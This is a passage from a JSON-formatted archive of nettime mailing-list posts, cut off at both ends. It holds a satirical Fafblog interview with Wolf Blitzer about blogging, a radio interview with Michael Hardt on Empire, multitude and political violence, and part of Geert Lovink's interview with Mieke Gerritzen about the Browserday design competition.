permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 24 Jan 2005 11:04:30 -0500",
                "to": "nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "E1CtGFl&#45;00083t&#45;U6 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0501/msg00066.html",
                "list": "nettime_l",
                "author_name": "Trebor Scholz",
                "subject": "<nettime> Interview with Warren Sack"
            },
            {
                "content-type": "text/plai",
                "from": "\"nettime's_bloggee\" <nettime {AT} bbs.thing.net>",
                "id": "00059",
                "content": "\n< fafblog.blogspot.com/2004_07_25_fafblog_archive.html#109102674245058489 >\n\n   Tuesday, July 27, 2004\n\n   Fafblog: THE WOLF BLITZER INTERVIEW\n\n   Here at the convention there isn't that much to do right now other\n   than eat tiny quiches an finger sammiches an hang out at panels\n   drinkin wine but we're still havin an ok time with that. Me an Giblets\n   have been hangin out at such panels as \"Blogging: Transforming the\n   Medium of Media\" an \"Blogging: A Radical New Media of Blogging\" an\n   \"Blogging: Blog Media Bloggity Blog Media Bla-blog\" where we have lent\n   our expert advice to confused broadcast journalists whose minds are\n   dazzled by the oh so confusin world of computer wizardry.\n   It was here that me an Gibs were interviewed by Wolf Blitzer so that\n   he might better understand the Heady An Complicated Emergent\n   Phenomenon of Blog Journalism.\n   WOLF BLITZER: So, Fafnir and Giblets, what IS a blog?\n   FAFNIR: Blogs are the future Wolf.\n   GIBLETS: Yes! They are MADE of the future! We extract the future's\n   pure temporal essence an squeeze it into cables an modems an T3 lines\n   it becomes a blog!\n   F: A blog... of the future.\n   WB: How much thought goes into your \"web blog\" \"posts\"?\n   F: Oh we do not think at all when we post! That would defeat the\n   entire purpose!\n   G: Blogs must be spontaneous intant reactions to the lightning events\n   of the everyday! Giblets fires up a random news article, pounds his\n   head against the keyboard several times, an hits the \"publish\" button\n   for the purest of pure blog posts!\n   F: Otherwise you are not truly flowin in the electric consciousness\n   Wolf.\n   WB: Do you think blogs are transforming the discourse in America, and\n   if so how so?\n   F: Oh they definitely are Wolf. There is not much that can resist our\n   transformin internet power.\n   G: We are MADE of the internet. We course with its febrile energy!\n   F: An we will make the discourse faster because blogs are faster. When\n   someone starts talkin bout somethin that just happened five minutes\n   ago someone else will say \"oh I already heard about that yesterday,\n   borin\" an they will drop it cuz it's borin.\n   G: When someone starts talkin bout somethin else they will change\n   subject not in the middle of the sentence, but before the other\n   sentence was actually spoken.\n   F: It will be just that fast.\n   WB: Fascinating. Now, blogs just don't do the kind of rigorous\n   fact-checking and editorial work that we do here in the mainstream\n   media...\n   F: That's very true. Not like you have at CNN or MSNBC or Fox!\n   G: Some days we sit around thinkin \"Oh man if only we could maintain\n   the journalistic rigor of Robert Novak or Charles Krauthammer or Brit\n   Hume!\"\n   F: Or Judith Miller or Chris Matthews or CNN's Bill Schneider!\n   G: But then we would lose our cuttin-edge appeal Wolf Blitzer. Our\n   cuttin-edge appeal.\n   WB: But given that bloggers might be biased, or play \"fast and loose\n   with the truth,\" and given the increased importance of blogs today,\n   should Americans be concerned?\n   F: Yes they should be very concerned. We are an unchained force of\n   nature Wolf Blitzer! You cannot stop us once we spin out of\n   telecommunicontrol!\n   G: Bow before the power of blog Wolf Blitzer! Bow before the power of\n   blog NOOOOOOW!\n   WB: But that means the mainstream media would be defenseless before an\n   onslaught of raw unfiltered opinion and skewed news!\n   F: It could lead to... a blogpocalypse.\n   G: A rain of electronic fire and doom upon all mankind!\n   F: An the mainstream press would be helpless to stop it.\n   G: Heeeeellllpleeeessss! BOWBEFOREGIBLETS!\n   WB: Amazing. Thank you so much for your time, Fafnir and Giblets.\n   F: Thank you, Wolf. Can we interview you now?\n   WB: Sorry, I already have an interview with Tim Russert scheduled.\n   F&G: Awwwwwwwww.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Thu, 29 Jul 2004 02:18:55 -0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200407290622.i6T6MBj09699 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0407/msg00059.html",
                "list": "nettime_l",
                "author_name": "nettime's_bloggee",
                "subject": "<nettime> interview with CNN's wolf blitzer"
            },
            {
                "content-type": "text/plai",
                "from": "Ognjen Strpic <ognjen {AT} mi2.hr>",
                "id": "00127",
                "content": "\nZagreb interview with Michael Hardt\nby Ognjen Strpic\n\n[broadcast on Croatian Radio, Third Program,  12. 5. 2002]\n\nWhile we wait for publishing of Croatian translation of Hardt-Negri's \nEmpire, Michael Hardt visited Zagreb, where he gave two lectures, organized \nby past.forward (theory module of net-club mama) and performing arts \nmagazine Frakcija. Between the lectures, we talked about some of the less \ndiscussed aspects of their work in Empire.\n\nOS: How do you think the theory you and Toni Negri proposed in the book \nrelates to protestors in Genoa or Porto Allegre? They seem to have embraced \nyour theory as their own. At the same time, you are, say, very sympathetic \ntowards the protestors' efforts.\n\nMH: The way I see it, these globalization movements and our book have \nproceeded on sort of parallel paths, in fact they've both been interpreting \nthe same questions and reality and coming to the same conclusions. And this \nis at least in two regards: one central aspect of our concept of empire is \nthat there is no center to power or rather that form of global power has \nchanged, that it's no longer based on dominant nationstate on its own and \nthat it is now composed of a network of powers. This is our notion of empire.\n\nI think similarly these movements have not been organized around, say, a \nnotion of US imperialism. Had they thought that, all of these protests \nshould have been at the White House, or at the Pentagon, or on Wall Street. \nRather, the way I think is that they've been experimenting with the new \nform of power. In other words, they've targeted international organizations \nlike the G8, and supernational organizations like the WTO, or the IMF, or \nthe World Bank. So in this way they've been trying to understand the new \nform of power, the way a movement understands something, which is some kind \nof experimental form. I think that in fact none of these organizations that \nthey have targeted with the protests is itself the center of global power. \nIn other words, IMF is not in control of globalization, in itself. And if \nwe were to destroy the IMF tomorrow, it wouldn't make the world immediately \na better place, in fact, probably worse. So I think that one shouldn't try \nto read the protesters as they've identified the new sources of power, \nrather, it's a much more distributed and therefore seemingly amorphous \nsystem of power that they are trying to confront. So in a way each protest \nis sort of an adding experiment to that. It's in that sense I think that \nour analysis of the new form of power as empire and the movement's analysis \nof the new form of power is proceeding along the parallel path.\n\nThe other way in which our argument seems to me very similar to these \nmovements' is that one of the political results of our analysis is that we \nthink that the only adequate way to confront, say, the problems of \nglobalization, or the forms of global domination under which we suffer now, \nis not by creating isolated local zones of protection, or even re-enforcing \nthe powers of nationstates, we think that rather an alternative have be \nproposed at an equally global level.\n\nI think that's also true of at least what I understand as the dominant \nelements within these globalization movements. I don't think that the \ndominant elements are the ones that are properly anti-globalization. \nRather, the movements themselves have been globalizing, constructing global \nrelationships. In that sense, it doesn't make sense to call them \nanti-globalization movements, they're more properly understood as \nalternative globalization movements. In other words, they are protesting \nagainst the current forms of globalization, but in the name of, or in the \ndesire for, alternative forms of globalization. So I think that in those \ntwo regards our argument which is conducted in a very philosophical plane, \nand the workings of these movements, which is obviously conducted both \ntheoretically and practically in a different register, that they've been \nmoving on parallel paths, and that's why they in a way agree well with each \nother.\n\nOS: Your idea of empire, at least in my reading, doesn't bear any \nparticular ideological baggage by itself. It's reception however, perceives \nit as distinctively Leftist. How do you see it in this respect?\n\nMH: Well, OK. The book _is_ primarily an attempt of the analysis of \ncontemporary form of power, and in that way it can in simply naming the \nforms of power today, which is I think the primary object of the book, it \ncould be appreciated by people of many different ideological formations. We \nconceive it as a communist project, we present it as a communist project, \nthinking here of \"communist\" in the tradition, let's say of democratic \nglobalization, the communist tradition that is not oriented towards \nformation of states and even of national control, but as a movement of \nincreasing non-national democracy.\n\nIn any case, there is a certain ideological position that defines our own \nefforts, but I think that such a book is not restricted to those of that \nideological position. And in fact, what seems to me interesting about the \nreception of the book, is that it runs counter many of assumptions about \nLeft and Right, and that's why it has been a useful analysis for many to, \nsay, disrupt what had seemed like the commonplace assumptions about \nglobalization. Just for instance, many have assumed in the US that those \nwho are on the Left are necessarily against globalization. Any in many, \nsort of basic or profound ways, our perspective is completely _for_ \nglobalization. But the problem with our contemporary world in many ways is \nnot that we have too much globalization, the problem is we have not enough. \nThat really we need to globalize equal relationships, democratic \nrelationships, the problems with our contemporary form, say, the control of \ndominant corporations, the control of the US military, of various other \nforms that constitute this imperial power, the problem is that in many \nregards that it blocks globalization, it blocks the possibility of \nconstructing democratic relationships across the globe. So, in that sense I \nthink it's not \u0085 the first moment, I think, of a Left, or I would say \ndemocratic position, should not be against globalization, what interest me \nmuch more are the possibilities of globalization. I just presented it in \none way which I think the perspective of the book has run counter to what \npeople thought were necessary Left and Right positions, and that has \nallowed them to appreciate the argument even without of course agreeing \nwith our perspective, which I think is not necessary for a book like this.\n\nOS: In what respect, then, it is a communist project?\n\nFirst of all, one should say that the much of the European modern \nEnlightenment thought, but especially communist tradition, especially \ncertain element of the communist tradition, have been the first and most \nvocal proponents of globalization. Think of the slogans of First \nInternational, for instance, not only \"Workers of the world, unite\", but \n\"Proletariat has no country, its county is the entire world\", there are at \nleast elements of the communist tradition, ones that most interest me, that \nhave always been interested in globalizing relationships as a potential for \nliberation. This is not also exclusive for the communist tradition, it's \nalso part of other elements of modern European political thought. So, there \nare certain ways in which, and we argue that there are certain points that \nit's in fact not capital, or it's not the forms of liberal national \ngovernments, but in fact it's the force of liberation and in some sense the \ncommunist tradition that has been leader in globalization.\n\nThe other way in which it is a communist book is that is argues for an \nabsolute democracy, for democracy founded on relations of equality, \nfreedom, and social solidarity. I mean, I think that those three \u0085 code \nwords belong to the French Republican tradition, but also belong, in my \nmind, to the best elements of the communist tradition. So, that also seems \nto me that it's the way it's a communist book, but it's demanding an \nabsolute democracy.\n\nThen, the most fundamental way would be that it's the analysis insists on \nthe fact that while capital has historically brought many possibilities for \nliberation, that finally the operation of capital prevents the realization \nof democratic relationships. In other words, that it's not an accident that \nthe capitalist relations perpetuate poverty and wealth, disparities of both \nthe wealth and power, and that they prevent democratic social \nconstructions. It's in fact intrinsic to capital and therefore the project \nfor democracy will ultimately have to be anticapitalist and develop a \nsocial form that is noncapitalist in that sense. That at least is \nrecognizable as the communist project.\n\nOS: Isn't it Braudelian notion of capital as antimarket, as opposed to \nmarket, the one you really object?\n\nMH: I don't think that any capital functions without state regulation. I \nmean, this is just a factual, historical claim. All of the propositions of \nfree market, and of capital based on free market, have been \u0085 false. I \nthink that free markets are always constructed by political regimes. I \nthink this is true in the nineteenth century hayday of the ideology of free \nmarket, and that this is equally true in our contemporary neoliberal phase, \nthat it's not, say, the autonomy of the economic, it's not that the forces \nof capital or economic forces, or market forces, function freely. That they \nalways require state, or say, regulatory forms. In the academic framework, \nthe general reference for this argument I have just made is Polany's book \n\"The Great Transformation\", which argues precisely that. I would rather \npose it differently; I think it's right to say, at least as an analytical \ntool it's useful to think of different elements of the current form of \npower, or elements of capitalist rule, some of which are potentially \npositive and some of which are clearly negative.\n\nI would rather say that other elements that capital has brought \nhistorically are potentially positive, the one I already mentioned is this \nextension in that sense of globalization of relationships. Another is what \none could call socialization of production or the organization of social \ncooperation. I mean, capital has historically operated the function of \nbringing together workers, classically in the factory, bringing them \ntogether and having them cooperate together and proposing the terms for \nthat cooperation. And that social cooperation is, it seems to me, has an \nincredibly liberating human potential. What I would say then is that \ncapital, well \u0085 creating and in certain sense historically proposing social \ncooperation, also limits social cooperation, and that one could imagine \npushing social cooperation further beyond the bounds which capital can \ntolerate.\n\nSo, the same way I think with globalization in certain respects. There are \ncertain aspects of globalization that capitalist relations create \nglobalization, but finally restrict it, and that pushing them further might \nbe the way to move. The same thing with social cooperation, the capital \neven obliges us to cooperate socially in certain ways, but then blocks the \nfuller pursuit of that cooperation.\n\nOS: I'm now interested in two issues you you don't write about in the book. \nOne is contemporary discourse on justice in political theory. Another is \nmulticulturalism. Do you think those two topics relevant to your proposal? \nI'm talking about the authors such as John Rawls, Ronald Dworkin, James \nScanlon, Brian Barry\u0085\n\nMH: I should start by saying that for us, or for me, the concept of \ndemocracy is much more central than the concept of justice. That said, I \nthink it's not an either/or alternative. I think that much of the work that \nis done under the rubric of liberalism and therefore the framework of \njustice, and therefore the framework of right, and that's the way it's \nposed in authors you mentioned, their general project is oriented towards a \nnotion of right rather than a notion of good, and that's what defines it's \nliberalism in their general estimation. I think that entire project can be \ntranslated in something that resembles our project, I think that they're \nnot in different universes. When on thinks of the original Rawls framework \nof his first book, A Theory of Justice, it is a procedural investigation, \nbut it is also oriented towards, let's say, tendency toward equality in \nterms of both decisionmaking and also distribution. I think it's an attempt \nat the constructing the basis of democratic relations. And in that regard \nthat I would try to say that two perspectives, one that focuses on \ndemocracy, which is ours, and other, which focuses on justice, are not \ntotally separate.\n\nIt seems to me that there's a certain amount of confusion with the term \nmulticulturalism, and that very different things are included under that \nterm. Because there are ways in which the term is used in entire tradition \nof critical race studies and also therefore race struggles, in addition to \ngender studies and therefore feminist struggles, are included under the \nterm multiculturalism and are thought of as streams or currents within \nmulticulturalism. I think that they are central to our attempts of \nanalyzing forms of power, especially within a cultural framework of the \nempire, but not only cultural, I think the problem with multiculturalism is \nthat it is often assumed, by people using the term both for and against it, \nthat we can separate the cultural from the economic and the political, I \nthink that none of these are merely cultural, both fields of analysis or \nfields of political activity. In other words, I don't think that struggles \nor studies about and sexuality, gay and lesbian studies, for instance, or \nfeminist studies about sexism, or race studies, I don't think that any of \nthese are cultural in a limited sense, I think that they are all always \nalready also economic and political questions.\n\nWhat I'm trying to do is to distinguish certain conception of \nmulticulturalism from another; there's one conception of it which I think \nis not accurate, that it's true our analysis our analysis doesn't deal \nwith. But there's another, which is very important to our kind of analysis. \nHow so? Just for instance, part of analysis is trying to recognize, say, \nthe new forms of racism that are implied within this new imperial \nstructure. In other words, that there is a certain paradigm of racial \noppression and therefore racial antiracist struggle that served as a \nparadigm in previous stage, what might be called a stage, of imperialism \nand that also functioned in the United States throughout much of twentieth \ncentury, we think that the form of racial oppression has changed now and \ntherefore requires different kinds of antiracist struggles. Here we're \ndrawing directly on work that's done in race studies, in critical race \nstudies, antiracist movements. So, if that's what is meant by \nmulticulturalism, than it's certainly central to our analysis.\nAs a more practical, movement question, it has to do with our concept of \nthe multitude: there was, especially in the US, but also in Western Europe \nand probably elsewhere, there seemed to be a choice between two kinds of \npolitical organizing, an exclusive choice. The one that I experienced in \n1980's in the US, see if it resonates with you elsewhere, is that there \nwere two choices of political organizing:  on unity model, or on difference \nmodel. The unity model is really the one that seemed more traditional; \nparty structures often function this way. There was really one central \naccess to political organizing, and it could include different elements, \nbut they were all subordinated. For instance, one could say class politics \nis central political struggle, and then we could have people interested in \nsexism and racism, and other social problems, but they were all secondary \nto one unity  so that's the unity model.\n\nIn reaction to that was formed, very powerful in the US, especially growing \nout in the sixties, developing in the eighties, what is often called \nidentity politics, is really organized around differences, in other words, \nwe need a separate movement for black lesbians, separate movement for \nCentral American gay men, so the difference of one's identity would \ndetermine the difference of one's struggles. Now I think that there was a \nkind of dead end of political organizing between these two models, and one \ncould, I think, easily see the limitations of each. And both of them, \nalthough in a way they formed polar opposites, they were both fundamentally \nbased on the notion of the alternative, of the exclusive alternative, of \nidentity and difference.\n\nOur attempt with this concept of the multitude is to recognize the \npossibility of a different kind of political organizing. Rather than been \nbased on, say, alternative between identity and difference, it's based on \ncontinuity between multiplicity and commonality. In other words, multitude \nis meant to name a possible form of political organization that is \ninternally differentiated, in other words it's always a multiplicity, and \nyet it can act in common, which seems to me to be at least conceptually a \ndifferent access to these two previous notions. And I think, moreover, that \nthese globalization protest movements have functioned on this model of the \nmultitude, rather then on models of identity and difference, because for \ninstance groups that we have thought of in a previous way were objectively \nantagonistic, even contradictory to each other, say, trade unions and \nenvironmentalists, suddenly, starting in Seattle, function together, and \nthe contradiction doesn't play out. One could say, as we often say, that in \nnetwork structure that every opposition is displaced, or is triangulated by \nthird term, and then a fourth, in the web of relationships. So, this seems \nto me again a way the conception of multiculturalism as based on a logic of \ndifference in identity as the primary organizational conception of politics \nisn't exactly the way that it's functioning today, in our analysis. If \nthat's what one thinks by multiculturalism, then we're thinking of \nsomething very different.\n\nOS: What exactly do you mean by multitude, and what is its role as a second \ncentral concept of your book?\n\nMH: The book proposes two concepts, empire as a form of power, and \nmultitude names both the subject that is exploited by empire, that is \ncontrolled by empire, the subject whose labor and activity supports empire, \nbut it also is the subject that has the potential to create an alternative \nsociety. Now, it seems to me that the concept of multitude in our book is \nused in at least two ways  that itself constitutes one of contradictions in \nour book. In certain ways it's a very selfcontradictory book, which is a \ngood thing, I think.\n\nIn one sense, multitude is used to name the multiple human force of \nliberation that has always existed. In certain ways, it names that almost \nontological force of human creativity and liberation that has certainly \nexisted throughout the modern era, but even previously. It's the force that \nalways refuses domination. This is one of, say, principles of our analysis \nthat we propose as almost an axiom that we ask others to accept, but I \nthink most accept this, which is that humans always eventually, and this is \none of wonderful things about humanity, refuse authority, refuse \ndomination, rebel against forms of oppression. And that is in a way the \nprimary force of the multitude that we use, reading as a sort of guide to \nhistory. It is the continual revolt of the multitude against forms of \nslavery, exploitation, and other forms of oppression. So, that multitude \nalways has existed and will always exist, in that sense.\nIn another, in a very different sense, the multitude functions in our \ndiscourse as something that has never yet existed and it's a project to \nconstruct now. And what multitude means in this sense is this is a \npolitical subject capable of creating a new society. In a way one could put \nthe two together and say that seeds of human creativity, of a democratic \nhumanity, of a liberated humanity have always existed and they've always \nbeen manifest in this continual revolt against forms of authority.\n\nSo, the second notion of multitude is really a realization of those seeds, \nyou now, the realization of those potentials that have always existed. What \nthat means, slightly more concretely, this project of construction of the \nmultitude is possible today, what multitude would mean in this sense, what \nthe construction of the multitude would mean is what I would call a \nbecoming communal struggles. In other words, rather that seeing the various \nforms of liberation as separate form one another, or even sometimes \nantagonistic to, or contradictory to each other, recognize how they can \nbecome common. Just in a way we were talking of traditional language of \nmulticulturalism, that struggles against racism, struggles against sexism, \nstruggles against class structures, could be posed not as irrevocably \ndifferent and separate, but recognize their common project. I guess what \nmultitude as fundamental concept is asking is that difference can exist \nwithin a society, even within a political subject, and that political \nsubject can nonetheless act, without being unified, that it can remain a \nmultiplicity, and still govern itself and that's what I think fundamentally \ndemocracy and freedom require, that we can find a way to govern ourselves \nwithout reducing the differences among us.\n\nOS: One more issue remains to be addressed: the question of terrorism, \npolitical violence in its standard usage as killing or harming someone, \nprobably innocent, as a means to express political views.\n\nMH: I think another element of terrorism in a standard usage, which equally \nshould be criticizes, I mean, I perfectly agree with you that one should \ncondemn the use of violence against innocent persons out of frustration or \ninability of political expression, that is certainly for one. The other \nthing I think is characteristic of terrorism as it's commonly conceived, \nand equally should be opposed, which is symbolic acts of violence, because \nthis seems to me characteristic of both Right and Left terrorism through \nthe last twenty or thirty years. It's not just violence, it's that the \nviolence is highly symbolic, and I think that those symbolic acts, violent \nand nonviolent ones too, first of all have very dangerous implications, \nbecause they are really not directed at the act, they are directed at a \nsymbol. And also they don't construct anything, they're completely negative \nacts in that sense. In both of those ways I think you're right, if I \nunderstand your suggestion, that one should in unreserved and fullhearted \nway oppose to terrorism.\n\nOne should also say, however, that we  I think I speak with the vast \nmajority in this  we are not opposed to political violence. Political \nviolence, is seems to me, it's not so simple that we can say in a \ncategorical or principled way, that we are against political violence, \nbecause there are times, historically, in which political violence is \nnecessary, not just justified. The struggle against fascism during the \nSecond World War, for instance, it required the form of violence. Most of \nthe modern revolutions, revolution in the US, French Revolution, the \nChinese Revolution, Algerian Revolution, these required, I think, political \nviolence. I would in such situations advocate use of violence and I think \nthat vast majority of other would also.\nThe reason I point this out is that I think that the question of violence \nhas to be decided in specific contexts; sometimes it's appropriate and \nuseful and sometimes it's not. That's a matter of political debate, \nunfortunately   it seems it would simpler if we could answer the question \nphilosophically and in a principled way, but I think rather it's always a \npolitical question. For example, there are many discussions within these \nglobalization protest movements about use of violence. We find it's here \nthe destruction of property and the purposeful confrontation with the \npolice. These are the two things that those advocating use of violence in \nthese protest propose or insist on. And I think it's a difficult question, \nI argue against use of violence in these cases, not because I have any \ngreat devotion to Starbucks or McDonald's or their windows, but because I \nthink that it poses divisions between a movement that are false divisions, \nthat it destroys the common projects of those involved and that's why it \nseems to me inappropriate and I argue against it.\n\nOn the other hand, those who argue for it have many convincing points. The \nfirst is that they argue that they should be free to do what they want, in \nother words, I or others who do not favor the violence shouldn't be able to \ntell them what to do. They should be able to do what they want as long as \nthey do it in a way that doesn't endanger the others. I think one should \nremain in discussion about this, but ultimately one is free to do what one \nwants.\n\nA more powerful and unfortunate argument they have, though, is that the \nmedia, mainstream media especially, is really on their side, in the sense \nthat the media only reports acts of violence, this is especially true in \nthe US, but it's also true elsewhere, there can be a demonstration of a \nhundred thousand people, and if it's peaceful it won't get reported in the \nUS media. If there are windows broken, it will get reported. In fact, the \ngreat media success of these movements so far has been precisely because \nthere's been violence, and even when there's been serious injury, as in \nGothenburg or death as in Genoa, that's what the media actually reports, so \nthose advocating the violence say: \"Look, this is the way the system works, \nour entire struggle would be useless unless there were violence and it's \nreported.\" I think that's unfortunately a very convincing argument. My \nargument against it is that the representation in the media is not the most \nimportant aspect of these movements, that the internal construction of \ncommunity, common projects, that their constituent aspects to the movements \nare much more important than their media representation. But in any case, I \nthink that this, like many cases, in this instance the question of \npolitical violence, and here not violence against persons, but violence \nagainst property, is a complicated one and one that requires political \ndiscussion rather than principled objections. \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 19 May 2002 08:42:36 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200205191821.OAA11805 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0205/msg00127.html",
                "list": "nettime_l",
                "author_name": "Ognjen Strpic",
                "subject": "<nettime> Zagreb interview with Michael Hard"
            },
            {
                "content-type": "text/plai",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "id": "00043",
                "content": "\n\nFive Browserdays Later - An Interim Report\nInterview with Mieke Gerritzen\nBy Geert Lovink\n\nA lot has happened since the Amsterdam-based designer Mieke Gerritzen and I\ncame up with the idea to do a 'Browserday' in early 1998\n(www.browserday.com). After the design competition took place three times in\nAmsterdam (1998-2000), the event moved to New York (March 2001) and Berlin\n(December 2001). On May 17 2002 Browserday will be back in Amsterdam. Four\nyears after we had the initial idea Mieke and I sat behind our laptops and\nhad an e-mail exchange to re-assess the concept.\nInitially a team of people organized the Browserday, with Jeanine Huizinga,\nDavid Garcia, Eric Kluitenberg, Michael van Eeden and Marleen Stikker\n(amongst others) in the core team. The browserdays 1998-2000 were a\ncollaboration between the Dutch organizations such as the Society for Old\nand New Media (www.waag.org), De Balie (www.balie.nl), Paradiso\n(www.paradiso.nl), with involvement of the Rietveld, HKU and Sandberg design\nschools. In 2000 Mieke Gerritzen, the main force behind Browserday, took the\ncompetition on board of her new company, www.nl-design.net, and pushed the\ncompetition in an international direction. Even though the event from the\nstart had the label 'international' it took some time to get design schools\noutside of the Netherlands interested. The next step was to try and see if\nthe concept would also work outside of the safe and cozy environment of\nAmsterdam.\nI attended only the first two Browserdays in Amsterdam and then moved to\nAustralia. However, my role in the Browserdays circus continued, helping to\nformulate the topics, doing research and compiling (xerox) readers with\nrelevant texts related to the specific topic of each individual event. The\ncore idea, for me, had always been to break open the new media design\npractice and put the designers in a multi-disciplinary environment. And show\nthat designers, instead of merely being users, could intervene in the making\nof the applications they worked with. If it was true that tools were shaping\nthe work, then it was also up to designers to directly contribute to\ntechnological developments. The browser was the Internet application par\nexcellence. In a rapidly changing media environments 'tools' such as the\nbrowser were nowhere near neutral. Their technological parameters were\ncultural and economic in nature. Browsers are our windows to the world of\ninformation and communication. They are highly political applications as the\ninitial clash of 1998 had shown. But the Browserday competition also proved\nthat the browser concept, as such, could also be an incredible trigger for\nthe techno-imagination. The politics and aesthetics of data navigation tools\nwere going to be with us for a great part of the 21st century. That much was\nclear.\n\nGL: The last, fifth Browserday took place in Berlin. Have you seen\nprogress in the submissions over the years the competition is running? It is\nbeing said that 3 or 4 years is a long time in terms of technology\ndevelopment. Is that also the case for concepts and design proposals made by\nstudents?\n\nMG: I don't think 3 to 4 years is such a long time in terms of technological\ndevelopment. The technological revolutions never stop. As long as people\nstay working on it, technology will stay an endless growing fantasy. Of\ncourse technology need heavy dose of knowledge, but every new step forward\nwill require new ideas and dreams of seamless possibilities. That's what I\nmean with fantasy. Technology needs utopia; otherwise there is no drive for\nprogress. The economy needs technical development to keep the market going\non. It's impossible to distinguish between short and long term development.\nTalking realistic, I think everything up till now is short-term development\ncompare to the hundreds of thousands of years which will follow. In the\nmillions of companies, institutes and laboratories are mostly people working\nin a hurry to serve their stockholders and clients. At the moment technical\ndevelopment is a strongly money-driven. The International Browserday is an\neducational (and entertaining) event focusing on technical developments. Its\nnot related to money and as a result it is also not related to technical\nrealism. It is related to technical development in terms of \"fantasy\". It's\nall about the public expression of creativity.\nThe International Browserday started in 98, based on the discontent over the\nold-fashioned desktop computer browsers. It was the time of the \"browser\n war\" between Microsoft and Netscape. Three Browserdays later (with its\ntheme: \"the end of the browser\") in 2000 we started a new direction, placing\nthe browser issue outside the PCs. Many devices now have browsers, such as\nmobile phones, PDAs and other 'wearable' technologies.\nDuring the years in which the event took place browsers have becoming a more\nand more independent product. The desktop computer is not the only machine\nanymore that is using a browser to navigate data environments and\napplications. The Browserday gives us also the possibility with every new\ntopic to show a bit of history of technical development by theoretical\npapers and technical practice.\nThere is, and there is no progress in terms of the applications and work\nshown at the different browserdays. Progress is something you can see if\npeople working for a long time on the same thing. But we are not living in\nthe age of sustainability. The progress I saw at the browserday in Berlin is\nthat students feel more responsible for social and political aspects of the\nworld they live in. This is different compared to the first browserday,\nwhere more people try to come up with navigation system in the hope to\nbecome a millionaire, which was a somewhat normal expectation at the time.\nDesigners joined the digital technology development only 10 or 15 years ago.\nThe browser is an interesting object to reflect on what is happening in the\nworld of technology.\nAnother sort of progress I can see is that the Browserday competition is\nbecoming part of the everyday curriculum at design schools. People know what\nwe talking about, even tough it's not a standardized format. How the\nBrowserday program looks like is an open question.\n\nGL: Some people told me that the browser demos as shown during the\nbrowserday remain a bit simple. Perhaps these critics have too high\nexpectations. What would you call a good outcome for such an event?\n\nMG: The format of browserday is three minutes. Students and young designers\nhave exactly three minutes to show their demo design. Having only three\nminutes forces people to prepare their presentation very tightly. You can\nonly show the very essential parts of your idea. It is about making choices.\nYou have to look at your own work and pick out the most personal and\ncharacteristic part of the idea and use all the creativity you have to\npresent this on a clear and special way to the public. The event is a show.\nIt is what I would call event-education. The stage presentation is part of\nthe design. Designers these days are more on stage than they have been in\nthe past. Being a designer is getting close to becoming a pop star. I don't\nknow if this development is a positive one. On the other hand, designers are\nmore forced to explain their design. If a designer has no strong vision\nabout what he or she is making, their presentation will be weak. If he or\nshe has a strong vision but no interesting work to show, their presentation\nis also weak. So both sides are important, which makes life of a designer\nnot easier.\nBrowserday shows 30 presentations on one day and of course they are diverse.\nThe presenters coming from all kind of disciplines and experience. Quality\nis different. But the real interesting ideas are short listed and shown\nagain in more details at the same day. This means that the audience will see\nmore and can think about the \"better\" ones. Though, browserday shows\ndifferent quality but is never boring, because of the three minute format.\nA good outcome for browserday is when the event shows at least a couple of\ninteresting new navigation ideas. Another outcome I like is if there are\nsome presentations that show more a statement about the position of the\nbrowser, a critical vision that shows the designer's personal opinion. I\nalso like it when there is a mix of disciplines and media. All these\nelements show the potential diversity of design, in a world, which\nincreasingly looks the same. Browserday is not only about new media or\ntechnological development; it's about opening up spaces for creative\nthinking-if only for a day.\n\nGL: I have noticed a shift in your work and rhetoric, away from the\ndotcom-type businesses, towards issues related to design and new media\neducation. Has the dotcom crash had an effect on the browserday and\nstudents' expectations?\n\nMG: Yes, more applications are critical towards information overload. I am\nhappy that during the last browserday in Berlin there were more attendees\nthan ever before. The Internet depression did not directly influence digital\nmedia education. Students are not used to make a lot of money and I'm glad\nthey can study and do their experiments without the pressure of a money-\ndriven structure. With the dotcom crash the new media development did not\ndisappear I even expect a more interesting climate for new ideas soon. The\nhype is over and what is left are diehards who apart of just making money\nare probably more interested in the real issues which the digital world\nconfronts us with.\n\nGL: To what extend does the Browserday differ from popular Flash design\ncompetitions? Would you call a browser meta design? Where exactly would you\nsay is the interface design aspect in browsers?\n\nMG: Browsers are navigation systems and they all need a graphic user\ninterface. For browserday we ask people to think about browsers in general.\nWe invite people to come up with ideas how, where and which information you\ncould get. That's a big thing to ask. The design aspect here involves\neverything; before you can start with a concept you have to find out what\nyou think about the existing browsers and about the function of a network.\nSo here you can start being critical about the situation of the\ncommunication technology of today and you have to think about future\npossibilities. Here you start to create your own vision and take position on\na new navigation idea. This is all part of the design. Next step is writing\nthe concept and creating a demo presentation model. We ask for a demo design\nbecause these tiny free us our minds from the technical and commercial\nrestrains. The Browserday is about ideas, not about sophisticated\nprogramming.\nOne of the important issues for browserday is that so much is happening all\nthe time in the world of new devices, tools, economy and marketing\nstrategies, hypes that at browserday these things are getting more clear and\npeople get a chance to react on these development in a critical fashion.\nBrowserday is an event unrelated to specific software or hardware platforms\nor standards. It is an educational event, which stresses the importance of\nboth critical and visionary conceptual thinking. Later on, in their\nprofessional life students will use these conceptual skills. Schools should\nnot stress too much emphasis on learning software as these packages 